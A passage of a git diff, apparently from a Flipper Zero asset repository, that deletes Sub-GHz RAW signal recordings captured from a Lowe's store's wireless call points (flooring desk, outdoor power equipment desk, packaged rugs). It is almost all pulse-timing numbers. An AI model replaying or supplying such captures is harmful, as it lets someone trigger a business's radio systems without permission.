-132 431 -232 363 -100 165 -232 165 -692 361 -1154 15681 -2716 65 -1092 365 -100 231 -134 529 -98 427 -132 97 -132 97 -64 329 -462 65 -132 131 -592 231 -164 10073 -6874 97 -1222 1393 -66 263 -132 399 -396 65 -396 65 -166 9393 -8242 1955 -100 199 -1724 199 -364 659 -66 27627 -696 99 -628 131 -298 131 -1678 1419 -66 425 -198 1889 -68 429 -164 695 -166 165 -66 16099 -198 723 -894 363 -232 1813 -132 195 -100 97 -792 97 -132 131 -98 165 -494 14329 -896 65 -2714 1127 -66 1327 -66 99 -98 661 -100 297 -298 131 -98 395 -198 67 -64 231 -98 99 -164 229 -66 29519 -3700 327 -166 131 -98 329 -66 789 -66 295 -134 97 -330 133 -2048 9741 -5926 1257 -398 65 -564 65 -132 627 -296 495 -132 593 -626 22097 -3868 363 -66 297 -100 1423 -132 263 -166 231 -232 131 -1284 925 -1384 97 -1524 65 -658 163 -100 361 -100 295 -132 755 -166 99 -66 265 -66 265 -1684 821 -66 1087 -66 24385 -304 -RAW_Data: 265 -858 131 -560 99 -166 795 -134 231 -132 1555 -924 99 -3884 163 -132 163 -166 829 -68 197 -100 927 -100 297 -100 199 -364 99 -432 297 -98 99 -166 231 -432 26029 -690 63 -1154 197 -564 99 -394 4215 -200 65 -330 165 -132 365 -198 18999 -66 133 -434 65 -860 165 -66 99 -1814 3013 -134 563 -98 563 -132 10219 -5932 163 -132 365 -66 461 -66 14847 -3352 231 -68 165 -132 265 -232 233 -1224 165 -1428 2219 -66 263 -166 397 -134 429 -100 131 -66 12349 -1648 67 -1358 3307 -66 393 -66 361 -164 131 -132 757 -166 11309 -6102 65 -496 197 -132 65 -790 791 diff --git a/assets/resources/subghz/Stores/Lowes/Flooring_Desk.sub b/assets/resources/subghz/Stores/Lowes/Flooring_Desk.sub deleted file mode 100644 index b68051916..000000000 --- a/assets/resources/subghz/Stores/Lowes/Flooring_Desk.sub +++ /dev/null @@ -1,10 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -132 3664 -4046 297 -166 199 -100 561 -166 331 -98 231 -166 231 -100 231 -1714 65 -958 133 -66 10839 -3928 329 -100 165 -100 331 -132 665 -132 231 -66 165 -100 431 -166 363 -498 99 -166 297 -98 165 -930 1091 -132 11847 -3768 433 -66 1887 -134 1191 -200 231 -232 299 -198 397 -628 2109 -66 5543 -8664 263 -66 197 -1220 265 -134 1813 -132 525 -296 459 -132 329 -130 13635 -1188 593 -164 1055 -132 197 -100 16969 -4856 231 -1528 97 -68 197 -630 1915 -100 331 -132 663 -134 431 -166 99 -166 1825 -1252 65 -262 65 -792 63 -5552 299 -764 197 -498 2615 -100 297 -66 463 -134 331 -132 9041 -560 99 -98 97 -7296 861 -100 331 -66 795 -100 1423 -66 497 -100 361 -166 227 -66 263 -198 65 -64 361 -132 1483 -66 7513 -200 229 -962 299 -330 165 -6676 231 -98 333 -166 297 -66 13945 -3928 99 -164 231 -724 131 -132 197 -494 65 -98 65 -132 133 -994 1219 -98 461 -98 99 -164 235 -132 199 -200 99 -98 265 -432 263 -660 99 -7176 1085 -164 197 -164 295 -232 297 -68 1883 -134 989 -100 427 -132 16339 -196 227 -1386 131 -498 67 -1354 65 -66 493 -66 691 -66 2209 -130 231 -130 493 -100 265 -198 299 -100 429 -100 10727 -930 65 -630 65 -266 99 -164 131 -164 65 -560 459 -232 65 -66 493 -100 131 -792 261 -98 197 -264 229 -132 791 -66 2173 -132 361 -100 261 -132 18587 -66 131 -132 263 -164 427 -394 657 -100 493 -132 65 -66 493 -132 12475 -332 97 -1950 97 -1154 4073 -66 263 -66 527 -132 331 -134 10493 -4072 65 -432 65 -166 131 -66 463 -68 263 -430 199 -66 165 -100 263 -432 1483 -66 823 -98 559 -66 1183 -132 429 -130 429 -66 8429 -166 97 -100 363 -264 133 -130 99 -6576 65 -100 297 -134 393 -298 131 -98 465 -166 459 -66 1821 -100 957 -132 361 -66 363 -166 67 -732 99 -100 165 -264 495 -166 129 -164 65 -98 65 -5886 5883 -98 229 -132 8627 -7120 97 -66 791 -132 99 -264 97 -100 229 -98 131 -66 329 -66 1847 -134 231 -66 597 -166 297 -396 99 -100 14463 -230 131 -198 65 -66 229 -164 131 -758 165 -1526 1025 -100 363 -166 829 -200 463 -166 431 -232 297 -66 795 -100 197 -132 9393 -5570 99 -66 497 -298 131 -132 297 -398 231 -66 1555 -66 2143 -132 363 -66 12759 -3974 661 -824 97 -166 229 -68 197 -166 16623 -4134 263 -298 97 -232 133 -696 2655 -66 463 -134 795 -266 197 -200 97 -6928 823 -66 987 -264 131 -166 1389 -100 229 -100 263 -430 525 -134 263 -796 131 -68 131 -164 99 -130 329 -6084 65 -132 131 -528 197 -RAW_Data: -626 13991 -64 97 -66 793 -100 163 -164 65 -460 97 -198 229 -760 65 -2802 65 -660 99 -196 131 -660 165 -66 397 -100 13823 -66 793 -498 497 -100 795 -66 559 -3632 165 -630 1185 -100 195 -66 14207 -334 99 -364 99 -498 163 -132 167 -2710 97 -928 16021 -4626 97 -2816 1223 -66 17249 -164 97 -398 197 -298 97 -232 99 -794 99 -100 529 -396 133 -3376 263 -264 397 -132 1629 -132 195 -100 131 -98 2217 -166 265 -98 695 -132 531 -66 8805 -196 129 -166 199 -132 729 -166 165 -232 263 -66 629 -2386 265 -166 65 -134 297 -430 197 -166 131 -828 595 -100 1523 -98 763 -100 759 -134 363 -10808 973 -4926 1007 -2012 985 -4942 985 -7894 987 -2008 1011 -4920 1009 -7806 1009 -2010 1019 -7828 989 -4944 977 -2014 1021 -4912 995 -4940 1005 -4908 1007 -4928 975 -7842 1027 -2000 1001 -4908 1005 -4922 1011 -7832 1017 -10714 1013 -4942 999 -2004 975 -4946 1007 -7848 977 -2016 999 -4920 995 -7864 977 -2036 977 -7856 1003 -4920 1011 -2016 1013 -4924 985 -4948 987 -4934 1011 -4918 1009 -7836 1013 -2026 993 -4912 993 -4948 1011 -7826 1007 -10770 1011 -4892 1027 -1996 1001 -4934 981 -7842 995 -2042 977 -4938 983 -7846 1001 -2030 975 -7864 1011 -4916 995 -2002 997 -4916 1007 -4914 1009 -4924 1013 -4920 985 -7860 985 -2028 979 -4940 993 -4910 995 -7866 1005 -10706 1047 -4894 1015 -1986 1011 -4914 1011 -7810 1009 -2024 995 -4910 1027 -7832 1009 -2000 983 -7870 1005 -4930 977 -2012 1013 -4940 993 -4944 987 -4918 1013 -4946 1001 -7832 1009 -2008 1011 -4924 1013 -4924 1017 -7818 1021 -10752 1009 -4918 1007 -2016 969 -4924 1005 -7858 985 -2030 983 -4946 973 -7852 1007 -2010 1009 -7826 1011 -4938 999 -2000 1023 -4912 1007 -4942 1003 -4902 1003 -4944 985 -7838 1011 -2010 985 -4914 1005 -4940 1009 -7806 1025 -10738 989 -4936 1007 -1976 1023 -4914 983 -7852 1011 -2006 991 -4912 1001 -7832 1009 -2010 975 -7860 1011 -4936 997 -2000 995 -4956 1007 -4914 1011 -4932 977 -4934 1003 -7862 983 -2042 981 -4944 985 -4934 1007 -7844 1009 -10742 1011 -4936 993 -1996 997 -4936 983 -7860 985 -2032 977 -4954 993 -7828 1021 -1998 1011 -7836 1017 -4916 1013 -2012 985 -4938 997 -4956 983 -4938 999 -4920 1005 -7836 1011 -2018 1015 -4920 981 -4914 1003 -7858 977 -10772 997 -4912 997 -2002 1007 -4918 1009 -7818 1013 -2014 977 -4914 1007 -7842 1011 -2008 991 -7824 1019 -4908 1009 -2012 1007 -4922 1013 -4928 983 -4944 1003 -4912 1009 -7840 1015 -2010 983 -4952 981 -4936 1017 -7842 1005 -10756 995 -4910 1013 -2004 1007 -4924 1001 -7834 1015 -2002 1001 -4918 1019 -7820 1019 -2002 1011 -7830 1001 -4950 985 -2012 1013 -4916 1007 -4934 1013 -4916 999 -4946 989 -7834 1011 -2004 1009 -4932 1011 -4922 1009 -7828 1013 -10718 1013 -4940 981 -2026 983 -RAW_Data: -4924 983 -7862 999 -2002 1005 -4908 1011 -7836 983 -2012 1009 -7826 1009 -4902 1047 -1980 1019 -4910 997 -4910 1011 -4916 1009 -4926 1007 -7840 1015 -2012 985 -4954 979 -4938 999 -7858 975 -10780 985 -4932 1015 -2008 981 -4946 985 -7852 1011 -2006 991 -4910 1025 -7834 1011 -2004 973 -7876 1007 -4918 997 -2002 1025 -4910 1011 -4944 969 -4942 1009 -4922 1009 -7826 1035 -2014 971 -4946 985 -4924 1013 -7854 987 -10780 1007 -4914 1007 -1984 1013 -4920 981 -7848 987 -2030 979 -4932 995 -7828 997 -2006 1007 -7836 1009 -4918 985 -2010 1013 -4918 1007 -4924 1013 -4916 995 -4914 997 -7864 975 -2008 1011 -4924 1015 -4922 987 -7858 987 -10766 1007 -4920 1009 -2010 981 -4958 979 -7856 987 -2028 975 -4956 971 -7856 999 -2020 995 -7846 999 -4940 997 -2002 1027 -4912 1009 -4914 1007 -4946 1009 -4920 1005 -7828 1011 -2008 1023 -4914 995 -4950 1007 -7816 1021 -10752 1005 -4920 1011 -2014 987 -4920 1007 -7854 985 -2030 977 -4918 1023 -7812 1027 -1976 1013 -7826 1005 -4940 1007 -2010 993 -4912 995 -4920 1007 -4916 1013 -4926 1013 -7840 981 -2034 971 -4940 1009 -4890 1025 -7824 1019 -10752 1009 -4920 1009 -2022 981 -4924 989 -7858 999 -2002 1005 -4918 1013 -7836 1011 -2014 983 -7858 985 -4938 1005 -2006 1013 -4918 999 -4956 995 -4916 993 -4938 1011 -7858 985 -2024 1003 -4916 1001 -4952 989 -7862 981 -10778 987 -4940 977 -2014 1019 -4906 995 -7864 977 -2040 977 -4946 1001 -7836 997 -2002 995 -7856 1007 -4908 1005 -2026 973 -4920 1023 -4906 999 -4922 1007 -4942 1005 -7820 1009 -2012 975 -4950 987 -4928 1009 -7832 985 -10758 1013 -4892 1013 -2004 1007 -4902 1011 -7834 1025 -1996 999 -4942 981 -7856 1001 -2002 1009 -7838 1015 -4908 1001 -2022 1007 -4922 1013 -4918 1023 -4912 989 -4944 1011 -7858 1007 -2010 987 -4952 983 -4940 985 -7854 1007 -10740 1009 -4924 1015 -1996 985 -4948 1001 -7824 1009 -2006 1009 -4912 1013 -7840 987 -2034 971 -7878 977 -4948 983 -2016 1015 -4920 991 -4948 1001 -4914 1007 -4922 1009 -7832 985 -2010 1011 -4916 1007 -4932 975 -7832 1027 -10736 1021 -4910 977 -2008 1023 -4910 983 -7854 977 -2008 1021 -4904 985 -7852 1003 -2008 1011 -7838 1013 -4946 989 -2000 997 -4938 989 -4946 997 -4948 973 -4952 977 -7866 1009 -2008 995 -4920 1025 -4912 1011 -7858 987 -10754 1009 -4922 1007 -2004 1005 -4898 1009 -7862 987 -2010 1013 -4914 1009 -7848 1011 -1980 1023 -7824 1021 -4914 1007 -2012 1009 -4926 1017 -4922 981 -4946 997 -4946 973 -7864 983 -2010 1013 -4906 1021 -4912 1001 -7830 1007 -10746 1015 -4918 987 -2008 1009 -4920 977 -7834 1009 -2014 985 -4914 1007 -7848 977 -2014 985 -7856 985 -4940 1011 -2014 1007 -4916 1015 -4918 1017 -4910 997 -4918 1005 -7864 989 -2016 1015 -4920 1017 -4910 1019 -7824 1007 -162326 131 -1184 97 -132 131 -132 297 -166 16487 -230 99 -3270 331 -RAW_Data: -464 99 -98 16693 -3634 1583 -262 99 -266 131 -100 97 -100 163 -230 395 -198 525 -196 65 -232 16059 -2186 365 -100 131 -68 1059 -100 627 -134 429 -66 18321 -66 97 -100 395 -98 19555 -3560 67 -98 99 -198 163 -2782 231 -132 4373 -66 13401 -132 201 -432 131 -166 297 -798 97 -562 231 -66 1027 -68 4259 -132 1745 -132 661 -2454 97 -526 65 -98 131 -100 65 -264 1485 -1352 365 -166 2253 -134 429 -100 465 -66 197 -4228 67 -132 231 -460 65 -2416 263 -134 1255 -134 363 -3824 229 -66 297 -166 197 -134 99 -66 65 -66 231 -100 65 -66 463 -66 265 -164 165 -266 65 -132 10751 -3054 65 -562 1383 -66 99 -98 231 -98 295 -66 20053 -1384 97 -100 263 -132 923 -100 1155 -100 1393 -100 11139 -1128 99 -2450 1155 -100 1449 -98 3763 -230 65 -198 229 -66 197 -198 163 -528 65 -134 131 -364 99 -132 231 -132 229 -130 431 -98 629 -100 1383 -166 295 -66 1289 -66 593 -66 34677 -3812 97 -132 231 -1424 231 -1492 1391 -66 13107 -4236 65 -66 229 -132 329 -230 65 -100 229 -330 263 -166 331 -166 1849 -66 691 -98 24847 -66 12293 -132 231 -198 165 -100 263 -134 131 -66 363 -132 99 -68 197 -66 431 -166 19009 -302 133 -232 231 -264 99 -394 99 -198 1655 -758 263 -100 97 -98 231 -198 97 -164 65 -66 15157 -3780 199 -166 165 -1290 197 -1556 99 -66 1119 -66 9459 -3934 163 -166 65 -1152 263 -164 231 -132 97 -166 363 -98 22813 -66 2011 -98 689 -132 691 -3770 397 -66 2285 -100 15799 -3804 163 -66 229 -264 99 -196 99 -860 263 -466 231 -894 1287 -66 461 -66 363 -3806 99 -328 229 -362 361 -100 493 -132 65 -98 229 -692 231 -66 229 -132 791 -66 1023 -132 359 -100 14281 -266 165 -66 231 -134 165 -398 199 -164 233 -132 65 -132 99 -132 229 -132 97 -492 18639 -4522 65 -66 363 -166 231 -164 199 -230 129 -364 789 -202 2375 -854 99 -98 1877 -66 889 -100 1515 -230 1283 -100 893 -66 1389 -100 1157 -100 429 -68 16125 -98 559 -66 853 -132 1185 -66 1289 -66 20499 -166 797 -132 1193 -100 19595 -98 361 -100 18951 -136 167 -166 199 -398 65 -1094 99 -628 165 -98 3015 -66 765 -98 2881 -98 927 -66 13133 -860 231 -198 65 -1028 229 -166 199 -100 65 -66 2151 -66 199 -66 565 -200 397 -100 397 -132 197 -232 18709 -3850 265 -98 365 -164 197 -132 295 -560 395 -100 295 -824 1821 -66 861 -4002 131 -594 199 -166 197 -134 231 -166 65 -696 99 -198 67 -132 15379 -3966 331 -166 97 -134 97 -68 163 -66 329 -332 261 -232 163 -66 263 -264 67 -98 165 -RAW_Data: -626 131 -2752 65 -132 3707 -68 64519 -198 131 -398 99 -858 99 -466 18983 -1020 165 -100 99 -100 165 -232 99 -890 97 -826 18209 -196 97 -888 99 -296 165 -264 395 -66 diff --git a/assets/resources/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub b/assets/resources/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub deleted file mode 100644 index d2b9159ac..000000000 --- a/assets/resources/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub +++ /dev/null @@ -1,17 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 276 -379 300 -539 628 -288 387 -563 159 -259 605 -651 613 -308 366 -410 105 -603 304 -551 211 -514 114 -251 178 -465 688 -689 455 -674 318 -473 306 -347 100 -700 220 -108 503 -672 501 -649 672 -347 153 -530 507 -221 127 -610 610 -611 566 -537 305 -190 286 -590 491 -340 286 -140 344 -330 492 -367 552 -155 124 -461 263 -304 689 -121 101 -257 315 -399 487 -130 675 -470 178 -310 445 -462 161 -245 227 -231 550 -430 607 -193 166 -340 419 -433 609 -185 506 -422 163 -537 552 -559 454 -247 215 -537 526 -598 -RAW_Data: 549585 -10520 1183 -1800 1179 -4690 1227 -4684 1201 -7602 1211 -1772 1217 -4690 1205 -7600 1187 -1798 1207 -4718 1199 -7598 1197 -4720 1209 -1782 1191 -7638 1203 -4680 1211 -4692 1211 -1790 1201 -4706 1207 -4702 1201 -4688 1227 -7610 1207 -10486 1211 -1786 1197 -4696 1209 -4690 1213 -7584 1241 -1774 1211 -4660 1239 -7578 1211 -1766 1215 -4722 1213 -7572 1225 -4670 1229 -1792 1207 -7602 1225 -4686 1201 -4682 1207 -1782 1253 -4650 1237 -4688 1209 -4692 1211 -7590 1205 -10496 1229 -1784 1211 -4662 1239 -4680 -RAW_Data: 1217 -7564 1237 -1784 1225 -4654 1235 -7566 1245 -1772 1211 -4696 1209 -7598 1219 -4676 1207 -1788 1203 -7616 1217 -4682 1207 -4694 1231 -1770 1229 -4666 1239 -4666 1217 -4694 1205 -7594 1215 -10482 1239 -1784 1189 -4688 1203 -4720 1179 -7598 1209 -1810 1199 -4674 1235 -7562 1239 -1782 1187 -4704 1231 -7574 1233 -4664 1255 -1740 1237 -7594 1207 -4716 1185 -4688 1237 -1770 1203 -4698 1213 -4692 1205 -4686 1217 -7602 1243 -10456 1249 -1758 1233 -4658 1239 -4654 1219 -7604 1201 -1764 1237 -4662 1243 -7568 -RAW_Data: 1231 -1772 1231 -4656 1235 -7582 1215 -4686 1239 -1768 1207 -7600 1219 -4696 1201 -4716 1183 -1806 1177 -4730 1197 -4682 1197 -4732 1177 -7604 1217 -10520 1207 -1768 1217 -4688 1207 -4690 1195 -7630 1203 -1768 1203 -4696 1219 -7606 1205 -1770 1215 -4684 1209 -7614 1203 -4684 1231 -1782 1203 -7580 1255 -4648 1237 -4680 1209 -1778 1213 -4706 1203 -4684 1207 -4688 1213 -7600 1209 -10506 1187 -1796 1205 -4698 1191 -4690 1201 -7594 1213 -1806 1177 -4720 1199 -7592 1199 -1778 1211 -4710 1185 -7588 1207 -4718 -RAW_Data: 1209 -1776 1217 -7608 1211 -4682 1217 -4682 1207 -1780 1229 -4688 1201 -4690 1205 -4712 1185 -7620 1199 -10484 1211 -1806 1179 -4724 1197 -4682 1197 -7590 1209 -1812 1187 -4714 1201 -7596 1179 -1800 1219 -4686 1197 -7616 1189 -4706 1211 -1812 1197 -7596 1199 -4716 1173 -4696 1221 -1778 1235 -4674 1211 -4690 1211 -4696 1203 -7596 1209 -10514 1211 -1780 1199 -4674 1227 -4670 1209 -7608 1213 -1780 1203 -4708 1181 -7600 1243 -1778 1195 -4710 1193 -7582 1239 -4662 1251 -1758 1225 -7616 1205 -4664 1259 -4654 -RAW_Data: 1237 -1770 1207 -4698 1215 -4688 1203 -4708 1211 -7600 1211 -10488 1231 -1766 1201 -4700 1209 -4692 1223 -7588 1201 -1774 1235 -4658 1219 -7594 1211 -1804 1181 -4716 1213 -7598 1201 -4714 1189 -1792 1207 -7600 1229 -4682 1199 -4714 1207 -1782 1193 -4718 1199 -4688 1211 -4682 1215 -7600 1203 -10498 1215 -1806 1181 -4690 1225 -4678 1229 -7598 1209 -1780 1193 -4690 1205 -7594 1215 -1774 1213 -4706 1203 -7596 1229 -4698 1205 -1780 1231 -7594 1203 -4688 1207 -4718 1187 -1810 1203 -4690 1183 -4720 1209 -4668 -RAW_Data: 1235 -7588 1203 -10482 1221 -1794 1195 -4692 1207 -4694 1217 -7572 1239 -1772 1217 -4676 1207 -7582 1205 -1806 1187 -4706 1205 -7608 1191 -4720 1201 -1774 1209 -7602 1215 -4688 1203 -4722 1181 -1802 1215 -4690 1199 -4686 1229 -4686 1211 -7604 1229 -10476 1207 -1800 1203 -4684 1217 -4694 1207 -7592 1217 -1772 1209 -4666 1255 -7566 1241 -1772 1209 -4684 1211 -7590 1235 -4678 1209 -1780 1221 -7606 1205 -4676 1245 -4654 1247 -1784 1203 -4682 1229 -4688 1203 -4694 1219 -7584 1229 -10476 1237 -1770 1221 -4664 -RAW_Data: 1233 -4642 1237 -7576 1217 -1776 1237 -4650 1249 -7538 1237 -1788 1193 -4690 1235 -7594 1203 -4676 1217 -1776 1235 -7590 1231 -4666 1211 -4694 1201 -1824 1175 -4726 1195 -4688 1199 -4712 1205 -7594 1191 -10502 1235 -1772 1209 -4714 1181 -4706 1199 -7602 1211 -1804 1183 -4722 1169 -7602 1219 -1800 1179 -4730 1201 -7586 1203 -4712 1179 -1810 1199 -7630 1189 -4706 1211 -4694 1187 -1812 1201 -4686 1209 -4688 1213 -4686 1203 -7588 1203 -10512 1207 -1792 1197 -4716 1193 -4700 1175 -7604 1219 -1782 1201 -4710 -RAW_Data: 1179 -7590 1211 -1790 1201 -4714 1189 -7618 1177 -4726 1189 -1808 1169 -7632 1191 -4706 1209 -4692 1189 -1810 1199 -4694 1209 -4690 1213 -4686 1203 -7610 1205 -10520 1177 -1808 1201 -4706 1205 -4684 1209 -7604 1189 -1810 1201 -4690 1211 -7598 1211 -1780 1199 -4686 1229 -7576 1239 -4664 1215 -1794 1199 -7620 1207 -4698 1189 -4716 1199 -1806 1175 -4724 1189 -4688 1235 -4680 1209 -7598 1217 -10478 1239 -1762 1217 -4686 1207 -4666 1257 -7558 1239 -1776 1209 -4692 1213 -7570 1231 -1766 1203 -4708 1207 -7604 -RAW_Data: 1191 -4712 1197 -1812 1175 -7632 1189 -4716 1199 -4690 1213 -1776 1217 -4720 1169 -4708 1213 -4686 1215 -7606 1197 -10510 1201 -1802 1173 -4726 1185 -4684 1203 -7610 1203 -1798 1187 -4716 1201 -7592 1203 -1776 1215 -4686 1199 -7616 1189 -4702 1207 -1782 1191 -7604 1203 -4710 1211 -4690 1213 -1780 1203 -4718 1181 -4724 1179 -4722 1197 -7592 1201 -10508 1205 -1790 1203 -4716 1179 -4724 1179 -7608 1189 -1810 1199 -4682 1211 -7602 1219 -1778 1201 -4720 1191 -7616 1175 -4746 1159 -1804 1201 -7620 1209 -4690 -RAW_Data: 1189 -4708 1199 -1816 1207 -4692 1191 -4724 1199 -4686 1213 -7602 1215 -10486 1227 -1772 1199 -4686 1209 -4692 1215 -7604 1205 -1796 1203 -4686 1211 -7568 1233 -1774 1195 -4726 1209 -7574 1217 -4686 1203 -1804 1209 -7604 1211 -4688 1205 -4680 1215 -1806 1215 -4692 1197 -4688 1197 -4690 1209 -7602 1217 -135134 99 -98 65 -166 363 -132 99 -98 893 -100 535 -66 197 -66 203115 -13548 131 -3650 299 -234 295 -134 233 -166 369 -358 65 -132 69233 -66 114193 -13818 -270 449 -538 355 -512 622 -338 105 -535 286 -RAW_Data: -366 138 -178 437 -161 110 -169 223 -398 516 -403 272 -654 137 -170 352 -183 422 -557 663 -487 666 -699 658 -545 361 -578 344 -234 186 -226 207 -259 612 -466 211 -628 540 -168 521 -170 275 -659 324 -600 498 -121 473 -172 115 -585 318 -212 388 -593 175 -653 593 -691 159 -684 371 -408 315 -486 531 -214 222 -663 564 -432 433 -463 495 -362 339 -612 181 -303 645 -474 116 -510 308 -181 112 -360 496 -690 543 -398 685 -240 463 -263 517 -473 541 -596 515 -461 700 -260 540 -522 597 -128 405 -179 358 -639 399 diff --git a/assets/resources/subghz/Stores/Lowes/Packaged_Rugs.sub b/assets/resources/subghz/Stores/Lowes/Packaged_Rugs.sub deleted file mode 100644 index e6ee8c4a5..000000000 --- a/assets/resources/subghz/Stores/Lowes/Packaged_Rugs.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 104341 -66 327 -66 395 -66 1297 -66 127493 -68 69679 -66 163 -262 1503 -64 229 -64 63 -98 2405 -66 3855 -134 190643 -198 301 -102 1139 -200 799 -102 271 -68 945 -66 631 -100 55877 -64 919 -68 133 -204 99 -68 1715 -64 37559 -70 809 -64 293 -66 129 -98 161 -194 393 -64 129 -98 227 -98 423 -790 96897 -66 199 -68 271 -336 731 -100 99 -166 3675 -64 751 -366 295 -66 523 -66 1013 -298 621 -196 1137 -100 195911 -96 581 -66 167 -100 199 -170 301 -230 489 -166 969 -134 2485 -66 1099 -100 423 -66 1971 -66 35633 -10756 959 -4952 937 -2050 941 -4970 929 -7886 929 -2066 945 -4916 993 -7830 977 -2018 981 -4928 977 -7832 975 -2004 983 -4908 1009 -7830 985 -2002 973 -4926 995 -4890 1013 -4880 1017 -4892 993 -4920 1011 -7772 1017 -10708 1009 -4884 1023 -1994 971 -4916 1017 -7790 991 -2018 983 -4912 975 -7830 1009 -1978 1025 -4884 1009 -7806 1007 -2006 981 -4944 977 -7822 987 -2034 969 -4940 979 -4924 983 -4914 977 -4916 1003 -4920 983 -7830 987 -10716 991 -4904 1013 -1980 1011 -4886 1021 -7796 993 -2000 1009 -4916 979 -7824 973 -2032 977 -4902 1021 -7786 991 -2032 973 -4920 975 -7832 991 -2024 979 -4906 985 -4916 977 -4896 1025 -4890 975 -4920 987 -7798 1009 -10718 989 -4902 983 -2004 1009 -4890 987 -7792 1009 -2010 1001 -4874 1015 -7818 1009 -1986 1013 -4886 1009 -7826 979 -2014 999 -4902 1021 -7786 1021 -1984 1011 -4894 1009 -4914 1009 -4900 983 -4924 1011 -4882 1011 -7798 1025 -10712 975 -4924 987 -2004 1007 -4898 985 -7806 1005 -2010 1009 -4886 999 -7810 1001 -1994 1013 -4880 1025 -7792 1005 -2006 1013 -4888 1027 -7798 1003 -1988 1015 -4912 987 -4890 1007 -4890 1005 -4912 969 -4908 1011 -7810 971 -10720 1009 -4884 985 -1996 1011 -4878 1015 -7788 1007 -2010 969 -4908 1007 -7804 987 -2012 955 -4950 973 -7826 977 -2040 989 -4916 975 -7824 1011 -2010 987 -4916 1007 -4880 1019 -4882 1023 -4914 977 -4920 981 -7828 989 -10722 1023 -4882 1013 -2000 979 -4910 1009 -7808 985 -2012 1009 -4882 979 -7830 985 -2028 975 -4922 985 -7812 993 -2020 983 -4920 1011 -7820 979 -2016 979 -4926 1009 -4910 979 -4930 985 -4916 1007 -4880 1013 -7794 999 -10708 987 -4912 977 -2012 981 -4886 1013 -7800 997 -2004 977 -4918 979 -7784 1021 -2010 957 -4920 1009 -7802 987 -1998 1005 -4908 981 -7818 1013 -2000 1005 -4904 1015 -4906 977 -4918 1007 -4900 983 -4922 1011 -7790 1013 -10726 985 -4906 1005 -1990 1009 -4892 983 -7834 1007 -1966 1013 -4910 999 -7812 1009 -1974 1011 -4886 1029 -7798 1011 -1982 1023 -4904 1001 -7792 1009 -2012 985 -4914 1009 -4896 1013 -4896 1011 -4880 1013 -4918 985 -7802 1005 -10718 1005 -4876 1009 -1994 1013 -4876 1011 -7794 1011 -1968 1021 -4872 999 -7790 1011 -1994 1011 -4894 983 -7802 -RAW_Data: 1005 -2010 1009 -4878 993 -7826 1001 -1982 1003 -4906 999 -4886 1011 -4904 1023 -4880 1009 -4900 1013 -7790 1011 -10706 1023 -4880 1025 -1972 1003 -4890 1007 -7822 997 -2004 1009 -4888 1019 -7790 1007 -1994 1017 -4892 1007 -7828 979 -2010 1013 -4894 1011 -7794 1015 -2010 985 -4920 1007 -4882 1015 -4886 1029 -4896 1011 -4884 1015 -7830 987 -10720 1005 -4896 1015 -1964 1009 -4906 1015 -7772 1007 -1980 1009 -4912 997 -7790 1033 -1982 1017 -4874 1011 -7812 987 -1982 1039 -4872 1017 -7796 997 -2010 1007 -4890 1017 -4872 1011 -4902 983 -4888 1039 -4882 1013 -7792 1025 -10684 1045 -4866 1021 -1968 1021 -4906 987 -7794 1043 -1968 1013 -4882 1025 -7806 1009 -1984 1021 -4880 1015 -7810 1017 -1984 1005 -4884 1015 -7820 997 -1984 1011 -4904 1009 -4904 1013 -4898 1009 -4908 1015 -4894 989 -7806 1007 -10702 1043 -4874 997 -2010 1009 -4894 985 -7828 983 -2014 989 -4888 1039 -7762 1009 -1996 1025 -4880 1007 -7790 1015 -2004 983 -4898 1007 -7800 1011 -1998 999 -4882 1041 -4864 1013 -4882 1015 -4890 1025 -4884 1007 -7778 1031 -10698 1011 -4864 1021 -2002 1003 -4882 1017 -7798 1027 -1974 1001 -4894 1003 -7790 1037 -1970 1009 -4898 1009 -7824 1013 -1982 1011 -4898 1011 -7790 1013 -2002 1033 -4860 1013 -4914 1013 -4898 1017 -4866 1039 -4884 1015 -7796 1023 -10708 1017 -4878 1001 -1988 1011 -4902 1017 -7776 1041 -1976 1011 -4876 1031 -7772 1043 -1948 1045 -4874 1011 -7798 1029 -1982 1017 -4878 1013 -7786 1025 -1968 1031 -4886 1005 -4880 1039 -4882 1015 -4860 1041 -4882 1015 -7784 1031 -10668 1033 -4864 1023 -1968 1009 -4872 1023 -7804 1007 -1978 1007 -4878 1041 -7796 1011 -1986 1001 -4894 1025 -7790 1025 -1986 1015 -4874 1019 -7814 1039 -1974 1015 -4876 1025 -4892 1039 -4856 1043 -4878 1029 -4880 1005 -7806 1011 -10702 1043 -4876 1015 -1976 1005 -4880 1015 -7796 1025 -1978 1039 -4852 1047 -7786 1025 -1966 1013 -4898 1005 -7794 1049 -1978 1017 -4868 1037 -7794 1017 -1968 1021 -4894 1035 -4850 1045 -4876 997 -4892 1009 -4898 1005 -7794 1017 -10672 1041 -4850 1053 -1938 1041 -4850 1049 -7752 1031 -1992 1015 -4864 1039 -7766 1009 -1966 1035 -4886 1045 -7784 1021 -1964 1041 -4878 1007 -7816 1019 -1964 1043 -4878 1013 -4872 1039 -4870 1055 -4880 1013 -4864 1035 -7796 1017 -10706 1003 -4890 1013 -1966 1039 -4862 1027 -7800 1001 -1984 1013 -4876 1049 -7756 1035 -1992 1011 -4888 1031 -7776 1033 -1964 1039 -4882 1047 -7786 1019 -1964 1029 -4898 1015 -4868 1035 -4884 1015 -4884 1025 -4884 1027 -7776 1015 -10670 1039 -4848 1051 -1954 1039 -4850 1047 -7758 1043 -1962 1009 -4880 1039 -7742 1045 -1944 1051 -4864 1037 -7766 1049 -1962 1029 -4856 1039 -7798 1045 -1958 1025 -4892 1007 -4888 1047 -4872 1029 -4852 1039 -4890 1009 -7792 1037 -291474 65 -1048 197 -132 261 -228 97 -66 65 -166 261 -132 165 -68 199 -698 99 -162 159 -588 601 -168 67 -168 67 -136 1021 -132 -RAW_Data: 167 -134 375 -100 2469 -66 4235 -68 571 -132 5291 -98 121815 -66 2579 -66 53393 -136 953 -66 331 -106 439 -100 5541 